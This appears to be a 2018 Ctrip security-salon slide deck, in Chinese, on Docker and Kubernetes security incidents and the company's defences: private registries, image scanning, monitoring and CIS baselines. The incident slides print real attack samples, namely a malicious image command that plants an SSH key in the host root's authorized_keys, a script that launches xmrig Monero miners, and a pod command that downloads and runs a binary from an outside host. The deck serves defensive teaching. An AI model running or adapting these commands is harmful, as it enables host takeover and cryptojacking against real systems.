

携程 Docker 安全实践分享

携程信息安全部 / 吴伟哲



2018 携程安全沙龙

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
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


Docker使用现状


➤ 是否愿意使用Docker？



➤ 对Docker安全性是否有顾虑？



Docker与VM




传统的安全问题	新的安全问题
操作系统漏洞 Webshell 后门程序 Rootkit 内核安全 SSH暴力破解	镜像安全 Docker守护进程安全 Docker自身的安全 Docker调度编排工具的安全



关于Docker的安全事件

内核安全---Docker逃逸攻击



关于Docker的安全事件

Docker镜像安全


 docker123321 Joined May 2017	 docker123321/cron public	0 STARS	1M+ PULLS
	 docker123321/cronm public	0 STARS	1M+ PULLS
	 docker123321/mysql public	0 STARS	1M+ PULLS
	 docker123321/mysql0 public	0 STARS	1M+ PULLS
	 docker123321/mysql2 public	0 STARS	500K+ PULLS



```
"Cmd": [
  "/bin/sh",
  "-c",
  "echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQDCFTF58tVTlecdQKc1EiuMfhYjsD/Do7XCpvkV8qHfy9BPgoq+s41Tr
GfhmUILR5XPNDac2miN2zvF68tte1b0GeXKdCfR+cnGgB3HnER80Hddk7L6RdGU13E1fgagsYnk/cEdeiGaH4da9bwUpa9rXRyYhe
+F0R0IchB4vApQ6HQiPs4LZvEjK4EfgGq9UgwgkssPnpXiucBxGdWWDiXIaXwh0B4UT6pmThdSNsKaaULM40HAEwcRRwh+LVUDoDg
TL7nm9A8+j2v5IXf3eUjLC56qWPafvwu9FS4n8IThRQZhNR7P1xCfvxzfJZ+ny6QA4LSe2bbwPx2G0vP3S1eV root@ubuntu\"
  >> /mnt/root/.ssh/authorized_keys"
],
```

```
#!/bin/bash
(
  docker pause `docker ps|grep kube-apis |awk '{print $1}'`;
  docker pause `docker ps|grep nginx78 |awk '{print $1}'`;
  docker run --name sosmseww --restart unless-stopped --read-only -m 50M bitnn/alpine-xmrig -o
  stratum+tcp://xmr.crypto-pool.fr:3333 -u
  41e2vPcVux9NNeTfWe8TLK2UwxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo
  -p x -k --donate-level=1;
  docker run --name sosmsea2 --restart unless-stopped --read-only -m 50M bitnn/alpine-xmrig -o
  stratum+tcp://xmr.crypto-pool.fr:3333 -u
  41e2vPcVux9NNeTfWe8TLK2UwxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo
  -p x -k --donate-level=1;
  docker run --name sosmsen2 --restart unless-stopped --read-only -m 50M bitnn/alpine-xmrig -o
  stratum+tcp://xmr.crypto-pool.fr:3333 -u
  41e2vPcVux9NNeTfWe8TLK2UwxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo
  -p x -k --donate-level=1;
  docker run --name sosmsek2 --restart unless-stopped --read-only -m 50M bitnn/alpine-xmrig -o
  stratum+tcp://xmr.crypto-pool.fr:3333 -u
  41e2vPcVux9NNeTfWe8TLK2UwxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo
  -p x -k --donate-level=1;
  docker run --name sosmset2 --restart unless-stopped --read-only -m 50M bitnn/alpine-xmrig -o
  stratum+tcp://xmr.crypto-pool.fr:3333 -u
  41e2vPcVux9NNeTfWe8TLK2UwxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo
  -p x -k --donate-level=1;
  kubectl delete $(kubectl --server=aaa get all | grep "nginx78-" | awk "{print \$1}")
)
```

关于Docker的安全事件



monero.crypto-pool x

Secure | https://monero.crypto-pool.fr/#

For quick access, place your bookmarks here on the bookmarks bar. [Import bookmarks now...](#)

Monero Mining Pool [Home](#) [Pool Blocks](#) [Getting Started](#) [Payments](#) [Monitoring](#) [Poloniex](#) [Support](#)

Your Stats & Payment History

41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAZA1A4j8xgUi29TpKXpm3zKTUYo [Lookup](#)

You adresse mining is suspend for botnet usage.Send me email to mine@crypto-pool.fr

Address: 41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAZA1A4j8xgUi29TpKXpm3zKTUYo

Pending Balance: 0.299066325762 XMR

Monerov Balance: 2.990663257620 XMV

Personal Threshold(Editable): < 7.100 XMR >

Payout minimal interval(Editable): < 318 hours >

Total Paid: 544.740081000000 XMR

Last Share Submitted: about a month ago

Hash Rate: 0 H/sec

Estimation for 24H: NC

Total Hashes Submitted: 2192050638000

Payments

Time Sent	Transaction Hash	Amount	Mixin
4/1/2018, 11:55:54 AM	23e4273fca71956449099a8aa02e3bd86bc26ec6e3dbadd278b1e7ffc89580ad	0.3002	5
3/27/2018, 6:02:16 PM	5b978af12cde9074d5fab0d9c677dd60cadb0485dc65029bb1b183d5af636914	0.3125	5
3/22/2018, 2:39:11 PM	e498615b8ded439ba2487ceba08c001faee66296d20cce39537421e0f46f82d6	0.3062	5



关于Docker的安全事件

Docker镜像安全

- 公共docker仓库上的镜像不一定是安全的
- 甚至是有恶意的镜像
- pull镜像的过程中，传输是否安全？是否有被中间人篡改的可能？



关于Docker的安全事件

Docker守护进程安全---Docker remote API未授权访问

漏洞概要

缺陷编号: **WooYun-2016-**

漏洞标题: **docker remote API未授权访问导致远程命令执行(root)**

相关厂商:

漏洞作者: **lijiejie**

提交时间: **2016-05-17**

公开时间: **2016-05-17**

漏洞类型: **网络未授权访问**

危害等级: **高**

自评Rank: **15**

漏洞状态: **漏洞已经通知**

漏洞来源: **http://ww**

Tags标签: **无**

分享漏洞: [分享到](#)

The screenshot shows a Shodan search interface with the query 'port:2375 product:"Docker"'. The search results are displayed in a table with columns for IP address, host information, and response details. The results are filtered by 'cloud' and 'devops' tags.

IP Address	Host Information	Response Details
52.80.28.32	ec2-52-80-28-32.cn-north-1.compute.amazonaws.com.cn Linux Beijing Guanhuan Xinwang Digital Technology co.Lt Added on 2018-07-29 11:28:26 GMT China, Beijing	HTTP/1.1 404 Not Found Content-Type: application/json Date: Sun, 29 Jul 2018 11:28:26 GMT Content-Length: 29
52.87.61.215	ec2-52-87-61-215.compute-1.amazonaws.com Linux Amazon.com Added on 2018-07-29 10:27:53 GMT United States, Ashburn	HTTP/1.1 404 Not Found Content-Type: application/json Date: Sun, 29 Jul 2018 10:27:53 GMT Content-Length: 29
52.80.24.171	ec2-52-80-24-171.cn-north-1.compute.amazonaws.com.cn Linux Beijing Guanhuan Xinwang Digital Technology co.Lt Added on 2018-07-29 09:48:36 GMT China, Beijing	HTTP/1.1 404 Not Found Content-Type: application/json Date: Sun, 29 Jul 2018 09:48:34 GMT Content-Length: 29
47.97.189.62	Linux Allyun Computing Co. Added on 2018-07-29 08:46:05 GMT China, Hangzhou	HTTP/1.1 404 Not Found Content-Type: application/json Date: Sun, 29 Jul 2018 08:46:04 GMT Content-Length: 29


- 尽量不要开docker remote api服务
- 加ACL, 仅允许可信IP访问
- 启用TLS认证



关于Docker的安全事件

Docker本身的安全漏洞

#	CVE ID	CWE ID	# of Exploits	Vulnerability Type(s)	Publish Date	Update Date	Score	Gained Access Level	Access	Complexity	Authentication	Conf.	Integ.	Avail.
1	CVE-2017-14992	20	20	DoS	2017-11-01	2017-11-22	4.3	None	Remote	Medium	Not required	None	None	Partial
Lack of content verification in Docker-CE (Also known as Moby) versions 1.12.6-0, 1.10.3, 17.03.0, 17.03.1, 17.03.2, 17.06.0, 17.06.1, 17.06.2, 17.09.0, and earlier allows a remote attacker to cause a Denial of Service via a crafted image layer payload, aka gzip bombing.														
2	CVE-2017-11468	399	399	DoS	2017-07-20	2017-12-30	5.0	None	Remote	Low	Not required	None	None	Partial
Docker Registry before 2.6.2 in Docker Distribution does not properly restrict the amount of content accepted from a user, which allows remote attackers to cause a denial of service (memory consumption) via the manifest endpoint.														
3	CVE-2017-7297	264	264		2017-03-28	2017-04-04	6.5	None	Remote	Low	Single system	Partial	Partial	Partial
Rancher Labs rancher server 1.2.0+ is vulnerable to authenticated users disabling access control via an API call. This is fixed in versions rancher/server:v1.2.4, rancher/server:v1.3.5, rancher/server:v1.4.3, and rancher/server:v1.5.3.														
4	CVE-2016-9962	362	362		2017-01-31	2018-01-04	4.4	None	Local	Medium	Not required	Partial	Partial	Partial
RunC allowed additional container processes via 'runc exec' to be traced by the pid 1 of the container. This allows the main processes of the container, if running as root, to gain access to file-descriptors of these new processes during the initialization and can lead to container escapes or modification of runc state before the process is fully placed inside the container.														
5	CVE-2016-8867	264	264	Bypass	2016-10-28	2017-07-27	5.0	None	Remote	Low	Not required	Partial	None	None
Docker Engine 1.12.2 enabled ambient capabilities with misconfigured capability policies. This allowed malicious images to bypass user permissions to access files within the container filesystem or mounted volumes.														
6	CVE-2016-6595	399	399	DoS	2017-01-04	2017-08-15	4.0	None	Remote	Low	Single system	None	None	Partial
** DISPUTED ** The Swarmkit toolkit 1.12.0 for Docker allows remote authenticated users to cause a denial of service (prevention of cluster joins) via a long sequence of join and quit actions. NOTE: The vendor disputes this issue, stating that this sequence is not "removing the state that is left by old nodes. At some point the manager obviously stops being able to accept new nodes, since it runs out of memory. Given that both for Docker swarm and for Docker Swarmkit nodes are *required* to provide a secret token (it's actually the only mode of operation), this means that no adversary can simply join nodes and exhaust manager resources. We can't do anything about a manager running out of memory and not being able to add new legitimate nodes to the system. This is merely a resource provisioning issue, and definitely not a CVE worthy vulnerability."														
7	CVE-2016-3697	264	264	+Priv	2016-06-01	2017-06-30	2.1	None	Local	Low	Not required	Partial	None	None
libcontainer/user/user.go in runC before 0.1.0, as used in Docker before 1.11.2, improperly treats a numeric UID as a potential username, which allows local users to gain privileges via a numeric username in the password file in a container.														
8	CVE-2015-3631	264	264		2015-05-18	2017-01-02	3.6	None	Local	Low	Not required	None	Partial	Partial
Docker Engine before 1.6.1 allows local users to set arbitrary Linux Security Modules (LSM) and docker_t policies via an image that allows volumes to override files in /proc.														
9	CVE-2015-3630	264	264	+Info	2015-05-18	2017-01-02	7.2	None	Local	Low	Not required	Complete	Complete	Complete
Docker Engine before 1.6.1 uses weak permissions for (1) /proc/asound, (2) /proc/timer_stats, (3) /proc/latency_stats, and (4) /proc/fs, which allows local users to modify the host, obtain sensitive information, and perform protocol downgrade attacks via a crafted image.														
10	CVE-2015-3629	59	59		2015-05-18	2017-01-02	7.2	None	Local	Low	Not required	Complete	Complete	Complete
Libcontainer 1.6.0, as used in Docker Engine, allows local users to escape containerization ("mount namespace breakout") and write to arbitrary file on the host system via a symlink attack in an image when respawning a container.														
11	CVE-2015-3627	59	59	+Priv	2015-05-18	2017-01-02	7.2	None	Local	Low	Not required	Complete	Complete	Complete
Libcontainer and Docker Engine before 1.6.1 opens the file-descriptor passed to the pid-1 process before performing the chroot, which allows local users to gain privileges via a symlink attack in an image.														
12	CVE-2014-9358	20	20		2014-12-16	2014-12-30	6.4	None	Remote	Low	Not required	Partial	Partial	None
Docker before 1.3.3 does not properly validate image IDs, which allows remote attackers to conduct path traversal attacks and spoof repositories via a crafted image in a (1) "docker load" operation or (2) "registry communications."														
13	CVE-2014-9357	264	264	Exec Code	2014-12-16	2014-12-30	10.0	None	Remote	Low	Not required	Complete	Complete	Complete
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build in a Dockerfile in an LZMA (.xz) archive, related to the chroot for archive extraction.														
14	CVE-2014-6408	264	264	Bypass	2014-12-12	2014-12-15	5.0	None	Remote	Low	Not required	None	Partial	None
Docker 1.3.0 through 1.3.1 allows remote attackers to modify the default run profile of image containers and possibly bypass the container by applying unspecified security options to an image.														
15	CVE-2014-6407	59	59	Exec Code	2014-12-12	2014-12-15	7.5	None	Remote	Low	Not required	Partial	Partial	Partial
Docker before 1.3.2 allows remote attackers to write to arbitrary files and execute arbitrary code via a (1) symlink or (2) hard link attack in an image archive in a (a) pull or (b) load operation.														



关于Docker的安全事件

Docker调度工具的安全---kubernetes

The screenshot shows the Kubernetes dashboard interface. The breadcrumb navigation indicates the path: Workloads > Pods > services-1hlmk. The pod details are as follows:

- Namespace:** default
- Labels:** app: my
- Annotations:** Created by: ReplicationController services
- Creation time:** 2018-01-29T00:02
- Status:** Running

The **Containers** section shows a container named **my** with the following details:

- Image:** centos
- Environment variables:** -
- Commands:** sh
- Args:** -

The command being executed is highlighted in red in the original image:

```
curl -o /var/tmp/config.json https://xaxaxa.eu/config_1.json;curl -o /var/tmp/servicea https://xaxaxa.eu/gcc;chmod 777 /var/tmp/servicea;cd /var/tmp;./servicea
```



Not Secure | https://[redacted] /#!/secret/default/aws-s3-credentials?namespace=default

 **kubernetes**

Config and storage > **Secrets** > **aws-s3-credentials**

Namespace: **default**

Overview

Workloads

- Daemon Sets
- Deployments
- Jobs
- Pods
- Replica Sets
- Replication Controllers
- Stateful Sets

Discovery and Load Balancing

- Ingresses
- Services

Config and Storage

Details

Name: aws-s3-credentials
Namespace: default
Creation time: 2017-10-12T22:29
Type: Opaque

Data

 **aws-s3-access-key-id:** [redacted]

 **aws-s3-secret-access-key:** [redacted]

携程 Docker 安全实践



Docker 镜像安全

- 私有 Docker 仓库
- Docker 镜像扫描



Docker 运行时安全

- 集中运维入口
- 日志收集审计
- Docker 安全监控



Docker 合规安全

- 基线标准
- 基线检查



Docker镜像安全

Docker私有仓库

- 安全可靠
- TLS加密传输
- Token认证



Docker镜像安全

- 基于用户角色的访问控制（RBAC）
- 所有访问Registry服务的操作均被记录，便于日后审计



HARBOR™



<https://github.com/vmware/harbor>



2018 携程安全沙龙

Docker镜像安全

Docker镜像扫描




Docker镜像安全

Docker镜像扫描

- Docker Security Scanning
- CoreOS Clair
- Anchore

	Clair	Anchore
命令行	✓	✓
API调用	✓	✓
Web界面	NO	✓
支持Kubernets	✓	✓
支持CI/CD	二次开发	✓ Jenkins插件
是否开源	完全开源	部分开源

<https://github.com/coreos/clair>
<https://anchore.io/>



Docker镜像安全

Docker镜像扫描工具运营

CVE漏洞库完整性

- 特定操作系统
- 同步机制

扫描效率

- 并发量

快速定位

- 层layer
- 包名
- 文件路径


漏洞通知机制

- 邮件短信
- 及时告警




Docker运行时安全

Docker集中运维




Docker运行时安全

Docker日志收集



- 容器内占用资源多，logstash太笨重了
- 容器内日志文件定期清理




- 在容器内挂载日志卷
- 适合日志量较小的情况



Docker运行时安全

Docker日志收集---优化




- 通过API写入log-service
- 避免在宿主机或容器内部存储日志文件



Docker运行时安全

Docker安全监控

- 传统安全方案完全不适用




Docker运行时安全

Docker安全监控---流量

- 容器与外部互访流量
- 容器之间互访流量

- ✓ ICMP
- ✓ HTTP
- ✓ DNS
- ✓ MySQL
- ✓ PostgreSQL
- ✓ Redis
- ✓ Memcached
- ✓ MongoDB

<https://www.elastic.co/cn/products/beats/packetbeat>



Docker运行时安全

Docker安全监控---异常行为

- 实时监控
- 基于可配置的规则

```
sysdig:~ $ sudo falco
Sat Jan 13 07:11:15 2018: Falco initialized with configuration file /etc/falco/falco.yaml
Sat Jan 13 07:11:15 2018: Parsed rules from file /etc/falco/falco_rules.yaml
Sat Jan 13 07:11:15 2018: Parsed rules from file /etc/falco/falco_rules.local.yaml
```

```
0 Falco
sysdig:~ $
```

```
1 Falco
```



Docker运行时安全

Docker安全监控---进程监控

curl -XGET --unix-socket /var/run/docker.sock http://v1.26/containers/48f/top

```
"Processes":
  [
    [
      "root","4692","4679","0","Sep04","?","00:00:00","/bin/bash /opt/docker-entrypoint.sh"
    ],
    [
      "root","4710","4692","0","Sep04","?","00:00:31","/usr/bin/python /usr/bin/supervisord --nodaemon -c /etc/supervisor/supervisord.conf"
    ],
    [
      "leon","4738","4710","0","Sep04","?","00:00:06","/opt/dionaea/bin/dionaea -u dionaea -g dionaea -c /opt/dionaea/etc/dionaea/dionaea.cfg"
    ],
    [
      "leon","4739","4710","0","Sep04","?","00:00:00","p0f -i any -u dionaea -Q /tmp/p0f.sock -q -l"
    ],
    [
      "root","4740","4738","0","Sep04","?","00:00:00","/opt/dionaea/bin/dionaea -u dionaea -g dionaea -c /opt/dionaea/etc/dionaea/dionaea.cfg"
    ],
    [
      "root","99270","99261","0","Sep06","pts/4","00:00:00","/bin/bash"
    ],
    [
      "root","113583","99270","0","00:19","pts/4","00:00:00","top"
    ]
  ],
"Titles":
  [
    "UID","PID","PPID","C","STIME","TTY","TIME","CMD"
  ]
}
```



Docker合规安全

基线标准---Docker

内核级别

Namespace
Cgroups
Selinux/APPArmor




主机级别

安全加固
为容器创建独立分区



网络级别

禁止映射特权端口
限制默认网桥上容器通信



镜像级别

创建本地镜像仓库
使用可信镜像
使用镜像扫描



容器级别

禁止运行SSH
禁止特权容器运行
启用守护进程TLS认证



其他设置

配置集中远程日志收集服务
定期对宿主机和容器进行安全审计



Docker合规安全

```
[root@localhost docker-bench-security]# sh docker-bench-security.sh
# -----
# Docker Bench for Security v1.3.4
#
# Docker, Inc. (c) 2015-
#
# Checks for dozens of common best-practices around deploying Docker containers in production.
# Inspired by the CIS Docker Community Edition Benchmark v1.1.0.
# -----


Initializing Thu Sep  6 17:18:54 CST 2018

[INFO] 1 - Host Configuration
[WARN] 1.1 - Ensure a separate partition for containers has been created
[NOTE] 1.2 - Ensure the container host has been Hardened
[INFO] 1.3 - Ensure Docker is up to date
[INFO] * Using 1.13.1, verify is it up to date as deemed necessary
[INFO] * Your operating system vendor may provide support and security maintenance for Docker
[INFO] 1.4 - Ensure only trusted users are allowed to control Docker daemon
[WARN] 1.5 - Ensure auditing is configured for the Docker daemon
[WARN] 1.6 - Ensure auditing is configured for Docker files and directories - /var/lib/docker
[WARN] 1.7 - Ensure auditing is configured for Docker files and directories - /etc/docker
[WARN] 1.8 - Ensure auditing is configured for Docker files and directories - docker.service
[INFO] 1.9 - Ensure auditing is configured for Docker files and directories - docker.socket
[INFO] * File not found
[INFO] 1.10 - Ensure auditing is configured for Docker files and directories - /etc/default/docker
[INFO] * File not found
[WARN] 1.11 - Ensure auditing is configured for Docker files and directories - /etc/docker/daemon.json
[WARN] 1.12 - Ensure auditing is configured for Docker files and directories - /usr/bin/docker-containerd
```



Docker合规安全

基线标准---Kubernetes



□ 主节点安全配置

- ✓ etcd
- ✓ kube-apiserver
- ✓ kube-scheduler
- ✓ kube-controller-manager

□ 工作节点安全配置

- ✓ Kubelet
- ✓ kube-proxy



Docker安全展望





THANKS



2018 携程安全沙龙